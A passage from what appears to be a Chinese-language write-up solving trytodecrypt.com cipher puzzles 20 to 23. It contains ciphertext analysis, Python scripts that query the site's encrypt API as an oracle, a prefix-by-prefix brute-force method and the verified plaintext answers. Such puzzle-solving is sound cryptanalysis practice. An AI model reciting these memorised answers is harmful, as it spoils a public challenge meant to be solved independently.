if 0 <= diff < len(CHARSET):
result += CHARSET[diff]
else:
result += "?"

# Fixed version has 2 key chars prefix
if len(ct) == 76 and len(result) > 2:
return result[2:]
return result
R2D2:C3PO:BB8

Text 20

8221E4F2173368D6B6B6E5050935D986A8C4CA764CF8A8C4B734E99807140B19DB691998095CC4E3D6C60D6E91

结构

目标密文长度是 90 hex,明文长度应为 18 字符。API 加密满足:

1
len(encrypt(text)) == 5 * len(text)

每 5 hex token 可以按下面方式观察:

1
[prefix 1 hex][a 2 hex][b 2 hex]

目标密文按这个 layout 拆开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pos group  p   a    b    (b-a)%71
0 8221E 8 34 30 67
1 4F217 4 242 23 65
2 3368D 3 54 141 16
3 6B6B6 6 182 182 0
4 E5050 E 80 80 0
5 935D9 9 53 217 22
6 86A8C 8 106 140 34
7 4CA76 4 202 118 58
8 4CF8A 4 207 138 2
9 8C4B7 8 196 183 58
10 34E99 3 78 153 4
11 80714 8 7 20 13
12 0B19D 0 177 157 51
13 B6919 B 105 25 62
14 98095 9 128 149 21
15 CC4E3 C 196 227 31
16 D6C60 D 108 96 59
17 D6E91 D 110 145 35

这题是 randomized encryption:同一 plaintext 每次加密都不同。简单把 b-a、a-b、xor、prefix 当 key 都不成立。

1
2
3
prefixes = ct[:n]
pairs = ct[n:]
item_i = (prefixes[i], pairs[4*i:4*i+2], pairs[4*i+2:4*i+4])

在这个 layout 下,相邻 token 的 transition 有强信号:

1
delta_i = b_i - a_{i+1} mod 71

对 one-hot plaintext(例如 aaaaaaaaaaaaaaaaaa、wwwwwwwwwwwwwwwwww)采样时,前 13 个 transition 的 delta_i 对字符有明显泄露。它不是完美映射,会有错字和缺位,但不是随机噪声。把目标密文的前 13 个 transition 丢进这个映射,得到:

1
Par!2Lan6aaND

这个结果已经足够说明几件事:

1
2
3
Par      -> 很像 Paris 的开头
Lan -> 很像 London 的中段/开头线索
aaND -> 有明显的 N/D 大写结构,像 NewYork 这类拼接地名的残片

也就是说,算法至少泄露出“城市名串”的轮廓。再结合 Text 20 明文长度必须是 18 字符,最自然的补全是:

1
ParisLondonNewYork

用 solve API 验证:

1
solve?id=20&solution=ParisLondonNewYork -> 1
ParisLondonNewYork

已排除的方向

这些方向已经用 oracle 样本和 held-out 测试排除,不值得无新假设地重复:

1
2
3
4
5
6
7
8
exact 5-hex token dictionary
inline/front/split-half/first-byte key 布局
(b-a)%71, (a-b)%71, +/- prefix, xor, raw byte
first K hex as global key/nonce
affine forms mod 71/72/128/256
per-position naive Bayes / local feature classifier
Text20 -> Text23 子块投票迁移
solve API 低置信候选枚举

尤其是统计模型很容易在 constant corpus 上过拟合。用 random plaintext 做 5-fold held-out 后,top5 基本等于随机基线:

1
2
3
4
5
6
fold0 top1=0.0139 top5=0.0736
fold1 top1=0.0181 top5=0.0833
fold2 top1=0.0181 top5=0.0806
fold3 top1=0.0097 top5=0.0542
fold4 top1=0.0194 top5=0.0833
random_top5 baseline = 5/71 = 0.0704

一个有价值但尚未破解的结构

把密文看成 front layout:前 n 个 hex 是 prefix,后面每字符 4 hex 是两个 byte。这个视角下,前 13 个相邻 transition 有明显结构:

1
delta_i = b_i - a_{i+1} mod 256

对 repeated char 样本,前 13 个 transition 很稳定:

1
2
3
w -> w  基本总是 0
0 -> 0 主要是 163 / 162
a -> a 主要是 114 / 115

但从 pos13 之后,这个 transition 会退化成近随机。也就是说,算法里可能存在一段链式状态,长度或边界不是简单的 18 字符全程一致。

尝试把 target 的 transition 当成普通 pair dictionary 解路径失败:高分候选都不是合理明文,少量提交也返回 0。因此这里的结构更像某种 state/nonce/PRNG relation,而不是 F(ch_i, ch_{i+1}) 这种直接查表。

当前结论

Text 20 的答案已通过 solve API 验证。它的核心不是 per-token decode,也不是纯靠猜;而是:

1
2
3
4
5
1. 通过长度确认明文 18 字符。
2. 改用 front layout 拆出 prefix 和 byte pairs。
3. 从相邻 transition 中恢复出前 13 位附近的带噪声骨架:Par!2Lan6aaND。
4. 根据骨架和 18 字符长度,提出城市名串候选 ParisLondonNewYork。
5. 用 solve API 验证,返回 1。

所以这里确实有语义猜测,但不是 blind guess。更准确地说,它是“结构泄露 + 人类模式识别 + oracle 验证”。后 5 位没有找到独立稳定 channel,因此没有把完整公式还原出来。

Text 21

333131353156333131323231305230363135315631333151342F3430313131323154342F

每字符加密为 4 位 hex(2 ASCII 字节),固定替换表。密文 hex 解码后每 2 字节对应一个明文字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
"""Build character mapping from trytodecrypt.com encrypt API.

Usage: trytodecrypt_get_char_map.py <text_id> <api_key>

Encrypts each character in the charset via the API, maps
full response -> character. Parallel requests for speed.
Outputs a sorted Python dict literal.
"""
import sys
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
URL = "http://api.trytodecrypt.com/encrypt?key={key}&id={id}&text={text}"


def encrypt(ch, text_id, api_key):
url = URL.format(key=api_key, id=text_id, text=urllib.parse.quote(ch))
try:
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode().strip()
except Exception as e:
return None


if __name__ == "__main__":
text_id = sys.argv[1]
api_key = sys.argv[2]

mapping = {}
total = len(C)
with ThreadPoolExecutor(max_workers=12) as pool:
fut_map = {pool.submit(encrypt, ch, text_id, api_key): ch for ch in C}
for i, fut in enumerate(as_completed(fut_map), 1):
ch = fut_map[fut]
enc = fut.result()
if enc:
mapping[enc] = ch
print(f"\r [{i}/{total}] {repr(ch)} -> {enc or 'FAIL'}" + " " * 10,
end="", file=sys.stderr, flush=True)
print(file=sys.stderr)

if mapping:
print({k: mapping[k] for k in sorted(mapping.keys())})
else:
print("{}")
sys.exit(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# ============================================================
# Text 21 — Too Much 3
# Known solution: TryToDecrypt! now!
# Encryption: each plaintext char maps to 4 fixed hex chars
# (step=4, simple substitution)
# ============================================================
def decode_text21(ct):
"""Decode Text 21 — fixed 4-hex substitution."""
# The known mapping (built from encrypt oracle):
# Each char -> exactly 4 hex chars
mapping = {
'0': '2F54',
'1': '2F55',
'2': '2F56',
'3': '302D',
'4': '302E',
'5': '302F',
'6': '3030',
'7': '3031',
'8': '3032',
'9': '3033',
'a': '3034',
'b': '3035',
'c': '3036',
'd': '3051',
'e': '3052',
'f': '3053',
'g': '3054',
'h': '3055',
'i': '3056',
'j': '312D',
'k': '312E',
'l': '312F',
'm': '3130',
'n': '3131',
'o': '3132',
'p': '3133',
'q': '3134',
'r': '3135',
's': '3136',
't': '3151',
'u': '3152',
'v': '3153',
'w': '3154',
'x': '3155',
'y': '3156',
'z': '322D',
'A': '322E',
'B': '322F',
'C': '3230',
'D': '3231',
'E': '3232',
'F': '3233',
'G': '3234',
'H': '3235',
'I': '3236',
'J': '3251',
'K': '3252',
'L': '3253',
'M': '3254',
'N': '3255',
'O': '3256',
'P': '332D',
'Q': '332E',
'R': '332F',
'S': '3330',
'T': '3331',
'U': '3332',
'V': '3333',
'W': '3334',
'X': '3335',
'Y': '3336',
'Z': '3351',
'-': '3352',
'_': '3353',
'.': '3354',
',': '3355',
';': '3356',
':': '342D',
'?': '342E',
'!': '342F',
' ': '3430',
}
reverse_mapping = {v: k for k, v in mapping.items()}

result = ""
for i in range(0, len(ct), 4):
chunk = ct[i : i + 4]
if chunk in reverse_mapping:
result += reverse_mapping[chunk]
else:
result += "?"
return result
TryToDecrypt! now!

Text 22

00100401400A0120A101C0310F503706004E05B0870A00880D80ED0BE1262890FD16816A1453453721963ED1D11F04624D9

结构分析

99 hex,每字符加密为 9 hex(3 组 × 3 hex),共 11 字符。

加密是确定性的(同一输入永远返回同一输出),但算法是位置相关的:同一个字符在不同位置产生完全不同的密文。

加密 0(charset index 0)和 a(index 10)在不同位置的输出:

1
2
位置 0: '0' → [001, 003, 008]   'a' → [001, 003, 050]   仅 group2 变化
位置 1: '0' → [00A, 00F, 01F] 'a' → [00A, 012, 01C] group1/2 都变

关键观察:

  • group0 只与位置有关,与字符无关(同一位置所有字符共享同一个 group0,如位置 0 永远是 001、位置 1 永远是 00A)
  • group1 + group2 共同编码字符,但公式复杂且各位置不同
  • 不存在简单的线性公式:尝试过 (b2-b1) % 71、(b1+b2-K) % 71、(b1 XOR b2) % 71 等均不成立

解法:progressive guessing(渐进猜解)

不需要理解加密公式也能解密:只要能调用加密工具,就可以暴力猜解。

核心依赖密文的前缀保持性质:

1
2
3
encrypt("a")     → 001003050          (9 hex)
encrypt("ab") → 00100305000A01201F (18 hex,前 9 hex 与 "a" 一致)
encrypt("abc") → 00100305000A01201F... (前 18 hex 与 "ab" 一致)

密文的前 N×9 hex 完全由明文的前 N 个字符决定。后续字符不影响前面的密文段。

算法:

  1. 从空字符串开始
  2. 对位置 i,已有正确前缀 guess(前 i 个字符已破解)
  3. 遍历 charset 中全部 71 个候选字符 c
  4. 通过 API 加密 guess + c
  5. 如果返回的密文以目标密文的前 (i+1)×9 hex 开头,则 c 就是第 i 位字符
  6. 重复至 11 位全部破解

最坏 11 × 71 = 781 次 API 调用,几分钟内执行完毕。

关于反爬

最初尝试用 web 端加密(POST https://www.trytodecrypt.com/decrypt.php)做猜解,但非浏览器请求被服务端 bot 检测拦截,始终返回 503 Service Unavailable。即使带上 PHPSESSID cookie 和 User-Agent 也无济于事。

切换到独立 API 接口即解决:

1
2
3
4
5
6
# 有反爬(503)
POST https://www.trytodecrypt.com/decrypt.php?id=22
body: text=a&encrypt=Encrypt

# 无反爬(正常)
GET http://api.trytodecrypt.com/encrypt?key=KEY&id=22&text=a

API 端用 key 做身份认证,不做 bot 检测。key 在登录后从 API 页面 获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.request, urllib.parse
API_KEY = 'YOUR_KEY_HERE'
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! '
target = '00100401400A0120A101C0310F503706004E05B0870A00880D80ED0BE1262890FD16816A1453453721963ED1D11F04624D9'
guess = ''
for pos in range(11):
for ch in CHARSET:
test = guess + ch
url = f'http://api.trytodecrypt.com/encrypt?key={API_KEY}&id=22&text={urllib.parse.quote(test)}'
resp = urllib.request.urlopen(url).read().decode().strip()
if resp.upper().startswith(target[:len(test)*9]):
guess = test
break
print(f' [{pos+1}/11] {guess}')
"

运行过程:

1
2
3
4
5
6
7
8
9
10
11
[1/11] m
[2/11] mi
[3/11] mis
[4/11] miss
[5/11] missi
[6/11] missis
[7/11] mississ
[8/11] mississi
[9/11] mississip
[10/11] mississipp
[11/11] mississippi
mississippi

Text 23

E3F59F001361B62958E551B9702F2C6B25F9E3FC350062295A1A20182041493C447BA0767A393A1F278DB14268565F51575C65212A8386494B383F7375676845472F30494C737A406890988B8D50577A835960476B6F73686E6367668B787A494C33357EA4555E191C18216A6F353A173E2026474A8A8C3F481416759D

这题最后的关键不是 PRNG,也不是统计分类,而是 递归套壳:Text 23 的整段 250-hex ciphertext 可以先按 Text19/Text20 那种 front-prefix layout 解出一层 50-hex 中间密文;这个中间密文再用同一个规则解一次,得到真正 plaintext。

第一层:把 250 hex 当成 50 个 5-hex token

目标密文长度是 250 hex。把它整体看成 50 个 5-hex token。

沿用前面 Text 19 / Text 20 里反复出现的 layout:

1
2
3
4
prefixes = ct[:n]
pairs = ct[n:]
item_i = (prefixes[i], pairs[4*i:4*i+2], pairs[4*i+2:4*i+4])
plain_i = CHARSET[(b_i - a_i) % 71]

对 Text 23,n = 250 / 5 = 50。第一层解出来不是最终明文,而是一个仍然全为 hex 的 50 字符串:

1
6888B418AC9699327212137E82797A464B232C93955D63292E

这一点非常反直觉,因为 API 行为确实显示:

1
len(encrypt(text)) == 25 * len(text)

所以目标明文长度看起来应是 10 字符。但真正结构是:外层把「内层 50-hex 密文」再包了一次。

第二层:对 50-hex 中间密文再解一次

中间密文长度 50 hex,同样可看成 10 个 5-hex token。再跑同一个 decode:

完整复现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! '


def decode_once(ct):
n = len(ct) // 5
prefixes = ct[:n]
pairs = ct[n:]

out = ''
for i in range(n):
a = int(pairs[4*i:4*i+2], 16)
b = int(pairs[4*i+2:4*i+4], 16)
out += CHARSET[(b - a) % len(CHARSET)]
return out


target = 'E3F59F001361B62958E551B9702F2C6B25F9E3FC350062295A1A20182041493C447BA0767A393A1F278DB14268565F51575C65212A8386494B383F7375676845472F30494C737A406890988B8D50577A835960476B6F73686E6367668B787A494C33357EA4555E191C18216A6F353A173E2026474A8A8C3F481416759D'

mid = decode_once(target)
plain = decode_once(mid)

print(mid)
print(plain)
3.14159265